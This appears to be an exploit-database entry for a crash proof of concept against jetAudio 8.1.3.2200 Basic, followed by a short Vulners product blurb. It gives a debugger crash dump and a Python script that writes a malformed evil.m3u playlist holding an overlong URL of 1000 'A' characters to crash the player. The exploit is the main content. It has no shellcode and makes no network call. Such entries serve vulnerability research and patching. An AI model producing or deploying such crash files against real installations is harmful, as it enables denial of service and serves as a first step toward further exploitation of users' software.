`# Exploit Title : jetAudio 8.1.3.2200 Basic (m3u) Crash POC
# Product : jetAudio Basic
# Date : 27.12.2014
# Exploit Author : Hadji Samir [email protected]
# Software Link : http://www.jetaudio.com/download/
# Vulnerable version : 8.1.3.2200 Basic
# Vendor Homepage : http://www.jetaudio.com/
# Tested on : Windows 7 x86 fr
#============================================================================================
# Open created POC file (evil.m3u) with jetAudio
# Details
# ((2bb0.2a60): Break instruction exception - code 80000003 (first chance)
# eax=00000000 ebx=00000000 ecx=0012fb0c edx=76ed64f4 esi=fffffffe edi=00000000
# eip=76f2e60e esp=0012fb28 ebp=0012fb54 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
# ntdll!LdrVerifyImageMatchesChecksum+0x633:
# 76f2e60e cc int 3
#
# 0:000> kb
# ChildEBP RetAddr Args to Child
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 0012fb54 76f0e2d1 7ffdf000 7ffd5000 76f6714c ntdll!LdrVerifyImageMatchesChecksum+0x633
# 0012fcb0 76ef8fc0 0012fd24 76e90000 7346e5a2 ntdll!RtlTimeToElapsedTimeFields+0x4e3d
# 0012fd00 76eeb2c5 0012fd24 76e90000 00000000 ntdll!vsnwprintf+0x3eb
# 0012fd10 00000000 0012fd24 76e90000 00000000 ntdll!LdrInitializeThunk+0x10
#============================================================================================
#!/usr/bin/python
from struct import pack
m3u = ("http://%s")
buf = "\x41" * 1000
m3u %= buf
fd = open("evil.m3u", "w")
fd.write(m3u)
fd.close()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation